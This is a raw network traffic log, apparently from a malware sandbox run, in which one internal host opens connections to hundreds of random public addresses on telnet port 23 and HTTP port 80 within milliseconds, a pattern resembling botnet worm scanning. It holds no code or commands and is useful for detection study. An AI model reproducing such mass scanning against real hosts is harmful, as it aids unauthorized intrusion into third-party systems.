Apr 14, 2024 03:59:53.048691988 CEST	4951	23	192.168.2.23	200.77.87.155
Apr 14, 2024 03:59:53.048691988 CEST	4951	23	192.168.2.23	161.53.222.198
Apr 14, 2024 03:59:53.048691988 CEST	4951	23	192.168.2.23	114.243.48.154
Apr 14, 2024 03:59:53.048691988 CEST	4951	23	192.168.2.23	52.44.169.233
Apr 14, 2024 03:59:53.048691988 CEST	4951	23	192.168.2.23	158.23.108.172
Apr 14, 2024 03:59:53.048691988 CEST	4951	23	192.168.2.23	79.55.179.140
Apr 14, 2024 03:59:53.048691988 CEST	4951	23	192.168.2.23	129.194.4.9
Apr 14, 2024 03:59:53.048701048 CEST	4951	23	192.168.2.23	162.164.218.96
Apr 14, 2024 03:59:53.048701048 CEST	4951	23	192.168.2.23	62.46.46.193
Apr 14, 2024 03:59:53.048701048 CEST	4951	23	192.168.2.23	156.191.214.189
Apr 14, 2024 03:59:53.048701048 CEST	4951	23	192.168.2.23	109.168.128.48
Apr 14, 2024 03:59:53.048701048 CEST	4951	23	192.168.2.23	27.224.94.14
Apr 14, 2024 03:59:53.048701048 CEST	5463	80	192.168.2.23	61.235.176.193
Apr 14, 2024 03:59:53.048708916 CEST	4951	23	192.168.2.23	44.199.238.94
Apr 14, 2024 03:59:53.048708916 CEST	4951	23	192.168.2.23	98.242.90.159
Apr 14, 2024 03:59:53.048708916 CEST	4951	23	192.168.2.23	195.139.55.245
Apr 14, 2024 03:59:53.048708916 CEST	4951	23	192.168.2.23	52.190.61.178
Apr 14, 2024 03:59:53.048710108 CEST	4951	23	192.168.2.23	170.217.200.194
Apr 14, 2024 03:59:53.048710108 CEST	4951	23	192.168.2.23	17.9.113.142
Apr 14, 2024 03:59:53.048710108 CEST	4951	23	192.168.2.23	117.27.169.182
Apr 14, 2024 03:59:53.048710108 CEST	4951	23	192.168.2.23	9.21.212.115
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	59.170.210.82
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	35.187.161.84
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	91.159.244.94
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	173.36.162.95
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	153.15.171.117
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	184.158.71.230
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	125.79.146.177
Apr 14, 2024 03:59:53.048721075 CEST	4951	23	192.168.2.23	32.122.220.6
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	151.176.47.79
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	61.197.75.232
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	18.173.157.200
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	95.241.207.46
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	104.31.198.38
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	35.3.57.210
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	73.179.76.201
Apr 14, 2024 03:59:53.048723936 CEST	4951	23	192.168.2.23	52.236.34.105
Apr 14, 2024 03:59:53.048742056 CEST	4951	23	192.168.2.23	220.41.26.5
Apr 14, 2024 03:59:53.048742056 CEST	4951	23	192.168.2.23	141.192.251.167
Apr 14, 2024 03:59:53.048742056 CEST	4951	23	192.168.2.23	89.132.16.100
Apr 14, 2024 03:59:53.048742056 CEST	4951	23	192.168.2.23	83.25.100.225
Apr 14, 2024 03:59:53.048742056 CEST	4951	23	192.168.2.23	83.110.207.132
Apr 14, 2024 03:59:53.048742056 CEST	4951	23	192.168.2.23	193.117.107.125
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	151.204.36.202
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	152.29.32.184
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	196.149.157.102
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	48.97.100.65
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	95.213.230.38
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	203.54.249.66
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	149.155.174.253
Apr 14, 2024 03:59:53.048768997 CEST	4951	23	192.168.2.23	200.124.206.228
Apr 14, 2024 03:59:53.048775911 CEST	4951	23	192.168.2.23	152.124.54.103
Apr 14, 2024 03:59:53.048775911 CEST	4951	23	192.168.2.23	190.83.129.157
Apr 14, 2024 03:59:53.048775911 CEST	4951	23	192.168.2.23	20.119.145.139
Apr 14, 2024 03:59:53.048775911 CEST	4951	23	192.168.2.23	91.95.144.85
Apr 14, 2024 03:59:53.048777103 CEST	4951	23	192.168.2.23	63.246.75.182
Apr 14, 2024 03:59:53.048777103 CEST	5463	80	192.168.2.23	183.153.80.73
Apr 14, 2024 03:59:53.048777103 CEST	4951	23	192.168.2.23	23.72.67.42
Apr 14, 2024 03:59:53.048777103 CEST	4951	23	192.168.2.23	71.59.155.216
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	69.115.121.141
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	18.250.127.43
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	221.125.150.45
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	92.218.127.49
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	72.127.72.91
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	80.49.197.96
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	151.33.177.148
Apr 14, 2024 03:59:53.048784018 CEST	4951	23	192.168.2.23	178.79.216.125
Apr 14, 2024 03:59:53.048790932 CEST	4951	23	192.168.2.23	142.96.29.31
Apr 14, 2024 03:59:53.048790932 CEST	4951	23	192.168.2.23	191.95.255.203
Apr 14, 2024 03:59:53.048790932 CEST	4951	23	192.168.2.23	18.247.178.181
Apr 14, 2024 03:59:53.048790932 CEST	4951	23	192.168.2.23	160.24.134.180
Apr 14, 2024 03:59:53.048790932 CEST	4951	23	192.168.2.23	120.83.96.198
Apr 14, 2024 03:59:53.048791885 CEST	4951	23	192.168.2.23	79.140.111.15
Apr 14, 2024 03:59:53.048791885 CEST	4951	23	192.168.2.23	69.173.228.91
Apr 14, 2024 03:59:53.048791885 CEST	4951	23	192.168.2.23	77.123.158.195
Apr 14, 2024 03:59:53.048819065 CEST	4951	23	192.168.2.23	191.54.252.129
Apr 14, 2024 03:59:53.048819065 CEST	4951	23	192.168.2.23	64.205.186.168
Apr 14, 2024 03:59:53.048819065 CEST	4951	23	192.168.2.23	148.130.230.241
Apr 14, 2024 03:59:53.048819065 CEST	4951	23	192.168.2.23	132.17.54.207
Apr 14, 2024 03:59:53.048819065 CEST	5463	80	192.168.2.23	53.16.96.35
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	114.243.87.98
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	173.73.213.24
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	34.169.133.228
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	137.251.118.202
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	17.162.215.21
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	216.244.22.206
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	131.177.111.135
Apr 14, 2024 03:59:53.048823118 CEST	4951	23	192.168.2.23	125.210.73.152
Apr 14, 2024 03:59:53.048820972 CEST	4951	23	192.168.2.23	103.55.56.230
Apr 14, 2024 03:59:53.048823118 CEST	5463	80	192.168.2.23	114.70.8.112
Apr 14, 2024 03:59:53.048823118 CEST	4951	23	192.168.2.23	62.65.206.152
Apr 14, 2024 03:59:53.048824072 CEST	4951	23	192.168.2.23	104.83.250.185
Apr 14, 2024 03:59:53.048865080 CEST	5463	80	192.168.2.23	90.137.6.17
Apr 14, 2024 03:59:53.048865080 CEST	4951	23	192.168.2.23	171.243.125.17
Apr 14, 2024 03:59:53.048865080 CEST	5463	80	192.168.2.23	19.253.125.194
Apr 14, 2024 03:59:53.048865080 CEST	4951	23	192.168.2.23	14.206.4.187
Apr 14, 2024 03:59:53.048865080 CEST	4951	23	192.168.2.23	118.140.26.219
Apr 14, 2024 03:59:53.048880100 CEST	4951	23	192.168.2.23	67.29.93.144
Apr 14, 2024 03:59:53.048880100 CEST	4951	23	192.168.2.23	115.199.59.193
Apr 14, 2024 03:59:53.048882961 CEST	4951	23	192.168.2.23	124.122.233.101
Apr 14, 2024 03:59:53.048891068 CEST	5463	80	192.168.2.23	211.36.58.99
Apr 14, 2024 03:59:53.048891068 CEST	5463	80	192.168.2.23	208.136.74.219
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	118.231.225.85
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	18.51.213.189
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	76.10.141.168
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	134.100.69.110
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	155.210.173.235
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	2.67.167.18
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	66.164.242.42
Apr 14, 2024 03:59:53.048893929 CEST	4951	23	192.168.2.23	147.99.186.117
Apr 14, 2024 03:59:53.048902035 CEST	4951	23	192.168.2.23	90.122.247.161
Apr 14, 2024 03:59:53.048902035 CEST	4951	23	192.168.2.23	89.123.193.56
Apr 14, 2024 03:59:53.048902035 CEST	4951	23	192.168.2.23	184.29.126.212
Apr 14, 2024 03:59:53.048902035 CEST	5463	80	192.168.2.23	32.188.19.217
Apr 14, 2024 03:59:53.048902035 CEST	4951	23	192.168.2.23	61.198.244.93
Apr 14, 2024 03:59:53.048902035 CEST	4951	23	192.168.2.23	166.150.209.3
Apr 14, 2024 03:59:53.048902035 CEST	4951	23	192.168.2.23	178.246.228.50
Apr 14, 2024 03:59:53.048902035 CEST	5463	80	192.168.2.23	8.6.83.234
Apr 14, 2024 03:59:53.048907995 CEST	5463	80	192.168.2.23	36.151.210.216
Apr 14, 2024 03:59:53.048907995 CEST	4951	23	192.168.2.23	128.52.2.31
Apr 14, 2024 03:59:53.048907995 CEST	5463	80	192.168.2.23	172.35.80.152
Apr 14, 2024 03:59:53.048907995 CEST	4951	23	192.168.2.23	71.162.111.80
Apr 14, 2024 03:59:53.048911095 CEST	5463	80	192.168.2.23	124.247.224.42
Apr 14, 2024 03:59:53.048914909 CEST	4951	23	192.168.2.23	53.78.196.150
Apr 14, 2024 03:59:53.048917055 CEST	5463	80	192.168.2.23	123.166.102.11
Apr 14, 2024 03:59:53.048917055 CEST	4951	23	192.168.2.23	172.83.22.234
Apr 14, 2024 03:59:53.048928976 CEST	5463	80	192.168.2.23	219.16.73.223
Apr 14, 2024 03:59:53.048940897 CEST	4951	23	192.168.2.23	120.84.193.80
Apr 14, 2024 03:59:53.048940897 CEST	4951	23	192.168.2.23	108.168.20.244
Apr 14, 2024 03:59:53.048940897 CEST	4951	23	192.168.2.23	111.203.233.47
Apr 14, 2024 03:59:53.048940897 CEST	5463	80	192.168.2.23	203.185.53.99
Apr 14, 2024 03:59:53.048940897 CEST	4951	23	192.168.2.23	118.141.41.175
Apr 14, 2024 03:59:53.048940897 CEST	4951	23	192.168.2.23	180.131.44.6
Apr 14, 2024 03:59:53.048940897 CEST	4951	23	192.168.2.23	13.25.181.157
Apr 14, 2024 03:59:53.048940897 CEST	4951	23	192.168.2.23	139.24.111.252
Apr 14, 2024 03:59:53.048945904 CEST	5463	80	192.168.2.23	25.198.179.204
Apr 14, 2024 03:59:53.048945904 CEST	4951	23	192.168.2.23	114.115.3.126
Apr 14, 2024 03:59:53.048955917 CEST	4951	23	192.168.2.23	195.57.233.74
Apr 14, 2024 03:59:53.048955917 CEST	4951	23	192.168.2.23	115.143.167.183
Apr 14, 2024 03:59:53.048955917 CEST	4951	23	192.168.2.23	131.92.169.75
Apr 14, 2024 03:59:53.048959017 CEST	4951	23	192.168.2.23	86.0.105.55
Apr 14, 2024 03:59:53.048959017 CEST	4951	23	192.168.2.23	192.40.204.223
Apr 14, 2024 03:59:53.048959017 CEST	4951	23	192.168.2.23	128.206.116.245
Apr 14, 2024 03:59:53.048959017 CEST	5463	80	192.168.2.23	84.238.117.198
Apr 14, 2024 03:59:53.048959017 CEST	4951	23	192.168.2.23	83.237.93.142
Apr 14, 2024 03:59:53.048970938 CEST	4951	23	192.168.2.23	44.4.20.240
Apr 14, 2024 03:59:53.048979998 CEST	5463	80	192.168.2.23	91.25.109.55
Apr 14, 2024 03:59:53.048979998 CEST	4951	23	192.168.2.23	45.88.3.180
Apr 14, 2024 03:59:53.048979998 CEST	4951	23	192.168.2.23	189.122.183.81
Apr 14, 2024 03:59:53.048979998 CEST	4951	23	192.168.2.23	1.224.158.167
Apr 14, 2024 03:59:53.048980951 CEST	5463	80	192.168.2.23	133.188.47.169
Apr 14, 2024 03:59:53.048980951 CEST	5463	80	192.168.2.23	59.42.98.139
Apr 14, 2024 03:59:53.048980951 CEST	5463	80	192.168.2.23	27.9.227.126
Apr 14, 2024 03:59:53.048980951 CEST	4951	23	192.168.2.23	70.237.159.35
Apr 14, 2024 03:59:53.048980951 CEST	4951	23	192.168.2.23	68.118.243.173
Apr 14, 2024 03:59:53.048988104 CEST	5463	80	192.168.2.23	44.39.62.34
Apr 14, 2024 03:59:53.048993111 CEST	5463	80	192.168.2.23	94.14.44.143
Apr 14, 2024 03:59:53.049006939 CEST	4951	23	192.168.2.23	148.97.176.61
Apr 14, 2024 03:59:53.049012899 CEST	5463	80	192.168.2.23	203.20.205.44
Apr 14, 2024 03:59:53.049020052 CEST	4951	23	192.168.2.23	220.199.225.31
Apr 14, 2024 03:59:53.049021006 CEST	4951	23	192.168.2.23	72.163.38.237
Apr 14, 2024 03:59:53.049021006 CEST	4951	23	192.168.2.23	151.168.158.181
Apr 14, 2024 03:59:53.049021006 CEST	5463	80	192.168.2.23	182.44.134.247
Apr 14, 2024 03:59:53.049021006 CEST	5463	80	192.168.2.23	90.69.205.73
Apr 14, 2024 03:59:53.049021006 CEST	4951	23	192.168.2.23	65.250.116.215
Apr 14, 2024 03:59:53.049021006 CEST	4951	23	192.168.2.23	184.212.253.66
Apr 14, 2024 03:59:53.049021006 CEST	4951	23	192.168.2.23	59.94.194.255
Apr 14, 2024 03:59:53.049027920 CEST	5463	80	192.168.2.23	74.25.207.142
Apr 14, 2024 03:59:53.049031973 CEST	5463	80	192.168.2.23	48.129.122.28
Apr 14, 2024 03:59:53.049031973 CEST	4951	23	192.168.2.23	1.223.78.104
Apr 14, 2024 03:59:53.049031973 CEST	5463	80	192.168.2.23	153.123.79.226
Apr 14, 2024 03:59:53.049031973 CEST	4951	23	192.168.2.23	40.188.149.126
Apr 14, 2024 03:59:53.049031973 CEST	5463	80	192.168.2.23	213.100.73.255
Apr 14, 2024 03:59:53.049031973 CEST	5463	80	192.168.2.23	4.87.25.131
Apr 14, 2024 03:59:53.049036026 CEST	5463	80	192.168.2.23	5.235.12.191
Apr 14, 2024 03:59:53.049036026 CEST	5463	80	192.168.2.23	75.236.105.144
Apr 14, 2024 03:59:53.049041986 CEST	5463	80	192.168.2.23	208.43.134.201
Apr 14, 2024 03:59:53.049041986 CEST	4951	23	192.168.2.23	95.125.74.215
Apr 14, 2024 03:59:53.049046040 CEST	5463	80	192.168.2.23	65.18.159.179
Apr 14, 2024 03:59:53.049046040 CEST	5463	80	192.168.2.23	68.35.138.104
Apr 14, 2024 03:59:53.049063921 CEST	4951	23	192.168.2.23	197.1.71.14
Apr 14, 2024 03:59:53.049067020 CEST	4951	23	192.168.2.23	192.54.204.241
Apr 14, 2024 03:59:53.049067020 CEST	5463	80	192.168.2.23	86.89.64.35
Apr 14, 2024 03:59:53.049067020 CEST	5463	80	192.168.2.23	143.13.98.244
Apr 14, 2024 03:59:53.049067020 CEST	5463	80	192.168.2.23	203.98.127.234
Apr 14, 2024 03:59:53.049074888 CEST	5463	80	192.168.2.23	107.167.73.232
Apr 14, 2024 03:59:53.049074888 CEST	4951	23	192.168.2.23	126.198.168.120
Apr 14, 2024 03:59:53.049074888 CEST	4951	23	192.168.2.23	196.212.190.13
Apr 14, 2024 03:59:53.049074888 CEST	4951	23	192.168.2.23	60.204.48.9
Apr 14, 2024 03:59:53.049077988 CEST	4951	23	192.168.2.23	212.77.197.87
Apr 14, 2024 03:59:53.049079895 CEST	4951	23	192.168.2.23	18.89.36.137
Apr 14, 2024 03:59:53.049074888 CEST	4951	23	192.168.2.23	74.64.109.193
Apr 14, 2024 03:59:53.049076080 CEST	4951	23	192.168.2.23	85.201.207.154
Apr 14, 2024 03:59:53.049102068 CEST	4951	23	192.168.2.23	142.146.154.43
Apr 14, 2024 03:59:53.049105883 CEST	4951	23	192.168.2.23	93.120.157.185
Apr 14, 2024 03:59:53.049105883 CEST	5463	80	192.168.2.23	39.229.207.111
Apr 14, 2024 03:59:53.049108028 CEST	4951	23	192.168.2.23	115.190.21.157
Apr 14, 2024 03:59:53.049108028 CEST	5463	80	192.168.2.23	153.206.28.4
Apr 14, 2024 03:59:53.049108982 CEST	5463	80	192.168.2.23	192.80.12.111
Apr 14, 2024 03:59:53.049108982 CEST	5463	80	192.168.2.23	134.185.220.94
Apr 14, 2024 03:59:53.049108982 CEST	5463	80	192.168.2.23	32.229.30.55
Apr 14, 2024 03:59:53.049124002 CEST	4951	23	192.168.2.23	172.234.213.104
Apr 14, 2024 03:59:53.049124956 CEST	5463	80	192.168.2.23	41.127.37.208
Apr 14, 2024 03:59:53.049124956 CEST	4951	23	192.168.2.23	95.179.102.238
Apr 14, 2024 03:59:53.049129009 CEST	5463	80	192.168.2.23	106.87.54.233
Apr 14, 2024 03:59:53.049130917 CEST	5463	80	192.168.2.23	2.122.138.113
Apr 14, 2024 03:59:53.049135923 CEST	5463	80	192.168.2.23	187.135.247.192
Apr 14, 2024 03:59:53.049140930 CEST	4951	23	192.168.2.23	151.41.62.240
Apr 14, 2024 03:59:53.049143076 CEST	5463	80	192.168.2.23	222.132.105.121
Apr 14, 2024 03:59:53.049143076 CEST	4951	23	192.168.2.23	163.138.0.164
Apr 14, 2024 03:59:53.049144030 CEST	5463	80	192.168.2.23	139.44.92.10
Apr 14, 2024 03:59:53.049144030 CEST	5463	80	192.168.2.23	210.9.92.225
Apr 14, 2024 03:59:53.049160957 CEST	4951	23	192.168.2.23	64.33.180.15
Apr 14, 2024 03:59:53.049165010 CEST	5463	80	192.168.2.23	133.176.254.11
Apr 14, 2024 03:59:53.049165010 CEST	5463	80	192.168.2.23	60.76.70.122
Apr 14, 2024 03:59:53.049165010 CEST	4951	23	192.168.2.23	217.131.230.233
Apr 14, 2024 03:59:53.049169064 CEST	5463	80	192.168.2.23	38.183.101.218
Apr 14, 2024 03:59:53.049169064 CEST	5463	80	192.168.2.23	153.250.133.97
Apr 14, 2024 03:59:53.049169064 CEST	4951	23	192.168.2.23	78.223.133.179
Apr 14, 2024 03:59:53.049169064 CEST	5463	80	192.168.2.23	17.52.211.242
Apr 14, 2024 03:59:53.049169064 CEST	4951	23	192.168.2.23	91.201.64.122
Apr 14, 2024 03:59:53.049169064 CEST	5463	80	192.168.2.23	19.143.95.223
Apr 14, 2024 03:59:53.049169064 CEST	4951	23	192.168.2.23	87.66.182.207
Apr 14, 2024 03:59:53.049169064 CEST	5463	80	192.168.2.23	75.25.20.13
Apr 14, 2024 03:59:53.049169064 CEST	5463	80	192.168.2.23	148.146.140.20
Apr 14, 2024 03:59:53.049175024 CEST	5463	80	192.168.2.23	93.36.199.240
Apr 14, 2024 03:59:53.049182892 CEST	5463	80	192.168.2.23	176.53.82.216
Apr 14, 2024 03:59:53.049184084 CEST	4951	23	192.168.2.23	60.156.179.164
Apr 14, 2024 03:59:53.049192905 CEST	5463	80	192.168.2.23	115.80.150.111
Apr 14, 2024 03:59:53.049192905 CEST	5463	80	192.168.2.23	59.230.79.199
Apr 14, 2024 03:59:53.049196959 CEST	5463	80	192.168.2.23	159.116.81.118
Apr 14, 2024 03:59:53.049199104 CEST	5463	80	192.168.2.23	164.159.194.141
Apr 14, 2024 03:59:53.049202919 CEST	4951	23	192.168.2.23	187.16.243.163
Apr 14, 2024 03:59:53.049206018 CEST	4951	23	192.168.2.23	161.80.249.82
Apr 14, 2024 03:59:53.049206018 CEST	5463	80	192.168.2.23	39.149.215.22
Apr 14, 2024 03:59:53.049206018 CEST	5463	80	192.168.2.23	147.214.164.199
Apr 14, 2024 03:59:53.049206018 CEST	4951	23	192.168.2.23	58.13.90.237
Apr 14, 2024 03:59:53.049206018 CEST	5463	80	192.168.2.23	95.200.89.190
Apr 14, 2024 03:59:53.049206018 CEST	5463	80	192.168.2.23	185.248.161.196
Apr 14, 2024 03:59:53.049206018 CEST	4951	23	192.168.2.23	13.45.93.235
Apr 14, 2024 03:59:53.049209118 CEST	4951	23	192.168.2.23	165.50.20.6
Apr 14, 2024 03:59:53.049225092 CEST	4951	23	192.168.2.23	209.241.79.128
Apr 14, 2024 03:59:53.049230099 CEST	4951	23	192.168.2.23	116.147.111.247
Apr 14, 2024 03:59:53.049232960 CEST	5463	80	192.168.2.23	83.7.59.34
Apr 14, 2024 03:59:53.049233913 CEST	4951	23	192.168.2.23	59.220.100.242
Apr 14, 2024 03:59:53.049233913 CEST	5463	80	192.168.2.23	151.10.174.156
Apr 14, 2024 03:59:53.049242020 CEST	5463	80	192.168.2.23	154.252.53.143
Apr 14, 2024 03:59:53.049247980 CEST	4951	23	192.168.2.23	213.172.38.51
Apr 14, 2024 03:59:53.049248934 CEST	4951	23	192.168.2.23	13.108.167.144
Apr 14, 2024 03:59:53.049248934 CEST	5463	80	192.168.2.23	150.167.193.251
Apr 14, 2024 03:59:53.049251080 CEST	4951	23	192.168.2.23	75.109.62.97
Apr 14, 2024 03:59:53.049256086 CEST	5463	80	192.168.2.23	177.88.249.131
Apr 14, 2024 03:59:53.049256086 CEST	4951	23	192.168.2.23	91.204.217.57
Apr 14, 2024 03:59:53.049256086 CEST	4951	23	192.168.2.23	113.165.21.172
Apr 14, 2024 03:59:53.049256086 CEST	5463	80	192.168.2.23	190.141.205.178
Apr 14, 2024 03:59:53.049258947 CEST	4951	23	192.168.2.23	117.71.111.214
Apr 14, 2024 03:59:53.049258947 CEST	5463	80	192.168.2.23	111.47.147.221
Apr 14, 2024 03:59:53.049272060 CEST	4951	23	192.168.2.23	151.82.64.3
Apr 14, 2024 03:59:53.049272060 CEST	4951	23	192.168.2.23	41.14.38.152
Apr 14, 2024 03:59:53.049272060 CEST	5463	80	192.168.2.23	99.27.214.96
Apr 14, 2024 03:59:53.049274921 CEST	5463	80	192.168.2.23	194.105.143.84
Apr 14, 2024 03:59:53.049276114 CEST	5463	80	192.168.2.23	196.171.27.58
Apr 14, 2024 03:59:53.049280882 CEST	5463	80	192.168.2.23	14.148.169.147
Apr 14, 2024 03:59:53.049282074 CEST	4951	23	192.168.2.23	95.247.98.144
Apr 14, 2024 03:59:53.049282074 CEST	4951	23	192.168.2.23	113.80.81.116
Apr 14, 2024 03:59:53.049282074 CEST	4951	23	192.168.2.23	158.89.86.19
Apr 14, 2024 03:59:53.049288034 CEST	4951	23	192.168.2.23	42.166.207.2
Apr 14, 2024 03:59:53.049288988 CEST	4951	23	192.168.2.23	89.225.91.151
Apr 14, 2024 03:59:53.049290895 CEST	5463	80	192.168.2.23	106.207.138.72
Apr 14, 2024 03:59:53.049299002 CEST	5463	80	192.168.2.23	17.157.106.209
Apr 14, 2024 03:59:53.049299955 CEST	4951	23	192.168.2.23	111.246.234.95
Apr 14, 2024 03:59:53.049303055 CEST	5463	80	192.168.2.23	58.236.12.233
Apr 14, 2024 03:59:53.049304962 CEST	5463	80	192.168.2.23	220.116.228.32
Apr 14, 2024 03:59:53.049304962 CEST	4951	23	192.168.2.23	45.136.139.157
Apr 14, 2024 03:59:53.049316883 CEST	4951	23	192.168.2.23	146.160.0.105
Apr 14, 2024 03:59:53.049318075 CEST	5463	80	192.168.2.23	218.50.42.129
Apr 14, 2024 03:59:53.049318075 CEST	4951	23	192.168.2.23	24.84.51.244
Apr 14, 2024 03:59:53.049320936 CEST	4951	23	192.168.2.23	135.106.231.141
Apr 14, 2024 03:59:53.049329996 CEST	5463	80	192.168.2.23	102.248.62.140
Apr 14, 2024 03:59:53.049329996 CEST	5463	80	192.168.2.23	38.18.37.56
Apr 14, 2024 03:59:53.049335957 CEST	4951	23	192.168.2.23	40.248.188.110
Apr 14, 2024 03:59:53.049335957 CEST	5463	80	192.168.2.23	75.208.83.246
Apr 14, 2024 03:59:53.049338102 CEST	4951	23	192.168.2.23	34.37.80.155
Apr 14, 2024 03:59:53.049340010 CEST	5463	80	192.168.2.23	36.145.114.96
Apr 14, 2024 03:59:53.049349070 CEST	5463	80	192.168.2.23	5.134.164.84
Apr 14, 2024 03:59:53.049350023 CEST	4951	23	192.168.2.23	119.194.23.29
Apr 14, 2024 03:59:53.049355030 CEST	5463	80	192.168.2.23	23.166.127.16
Apr 14, 2024 03:59:53.049354076 CEST	4951	23	192.168.2.23	76.2.203.171
Apr 14, 2024 03:59:53.049354076 CEST	5463	80	192.168.2.23	95.173.31.158
Apr 14, 2024 03:59:53.049362898 CEST	5463	80	192.168.2.23	104.198.98.103
Apr 14, 2024 03:59:53.049362898 CEST	4951	23	192.168.2.23	111.232.168.132
Apr 14, 2024 03:59:53.049362898 CEST	5463	80	192.168.2.23	166.100.8.65
Apr 14, 2024 03:59:53.049362898 CEST	4951	23	192.168.2.23	219.168.86.171
Apr 14, 2024 03:59:53.049371004 CEST	5463	80	192.168.2.23	208.6.147.144
Apr 14, 2024 03:59:53.049377918 CEST	4951	23	192.168.2.23	71.160.166.8
Apr 14, 2024 03:59:53.049377918 CEST	4951	23	192.168.2.23	217.133.145.51
Apr 14, 2024 03:59:53.049377918 CEST	4951	23	192.168.2.23	170.67.27.170
Apr 14, 2024 03:59:53.049377918 CEST	5463	80	192.168.2.23	212.167.48.127
Apr 14, 2024 03:59:53.049380064 CEST	4951	23	192.168.2.23	98.204.98.188
Apr 14, 2024 03:59:53.049386978 CEST	4951	23	192.168.2.23	200.174.158.170
Apr 14, 2024 03:59:53.049393892 CEST	5463	80	192.168.2.23	44.48.216.181
Apr 14, 2024 03:59:53.049393892 CEST	5463	80	192.168.2.23	184.103.154.53
Apr 14, 2024 03:59:53.049402952 CEST	5463	80	192.168.2.23	170.183.159.41
Apr 14, 2024 03:59:53.049403906 CEST	5463	80	192.168.2.23	44.179.150.233
Apr 14, 2024 03:59:53.049410105 CEST	5463	80	192.168.2.23	134.189.187.78
Apr 14, 2024 03:59:53.049412012 CEST	4951	23	192.168.2.23	200.67.236.94
Apr 14, 2024 03:59:53.049417973 CEST	5463	80	192.168.2.23	119.184.146.170
Apr 14, 2024 03:59:53.049420118 CEST	5463	80	192.168.2.23	132.28.222.200
Apr 14, 2024 03:59:53.049420118 CEST	4951	23	192.168.2.23	84.104.240.170
Apr 14, 2024 03:59:53.049420118 CEST	4951	23	192.168.2.23	61.94.114.187
Apr 14, 2024 03:59:53.049421072 CEST	4951	23	192.168.2.23	207.248.66.230
Apr 14, 2024 03:59:53.049421072 CEST	5463	80	192.168.2.23	41.239.217.38
Apr 14, 2024 03:59:53.049422026 CEST	5463	80	192.168.2.23	49.119.104.31
Apr 14, 2024 03:59:53.049424887 CEST	4951	23	192.168.2.23	146.107.92.197
Apr 14, 2024 03:59:53.049428940 CEST	4951	23	192.168.2.23	76.79.37.14
Apr 14, 2024 03:59:53.049428940 CEST	4951	23	192.168.2.23	67.215.56.145
Apr 14, 2024 03:59:53.049429893 CEST	4951	23	192.168.2.23	202.155.90.100
Apr 14, 2024 03:59:53.049432039 CEST	4951	23	192.168.2.23	164.85.210.191
Apr 14, 2024 03:59:53.049432993 CEST	5463	80	192.168.2.23	188.245.255.190
Apr 14, 2024 03:59:53.049436092 CEST	5463	80	192.168.2.23	218.96.234.238
Apr 14, 2024 03:59:53.049443007 CEST	5463	80	192.168.2.23	213.65.199.150
Apr 14, 2024 03:59:53.049448967 CEST	5463	80	192.168.2.23	126.77.238.219
Apr 14, 2024 03:59:53.049448967 CEST	5463	80	192.168.2.23	128.62.133.53
Apr 14, 2024 03:59:53.049451113 CEST	4951	23	192.168.2.23	37.13.177.241
Apr 14, 2024 03:59:53.049451113 CEST	4951	23	192.168.2.23	167.61.90.174
Apr 14, 2024 03:59:53.049454927 CEST	5463	80	192.168.2.23	89.124.20.191
Apr 14, 2024 03:59:53.049459934 CEST	5463	80	192.168.2.23	58.121.73.205
Apr 14, 2024 03:59:53.049462080 CEST	5463	80	192.168.2.23	83.38.236.18
Apr 14, 2024 03:59:53.049469948 CEST	5463	80	192.168.2.23	179.95.38.176
Apr 14, 2024 03:59:53.049469948 CEST	5463	80	192.168.2.23	50.75.243.119
Apr 14, 2024 03:59:53.049469948 CEST	5463	80	192.168.2.23	64.139.55.192
Apr 14, 2024 03:59:53.049469948 CEST	5463	80	192.168.2.23	8.108.108.8
Apr 14, 2024 03:59:53.049474955 CEST	4951	23	192.168.2.23	219.193.202.177
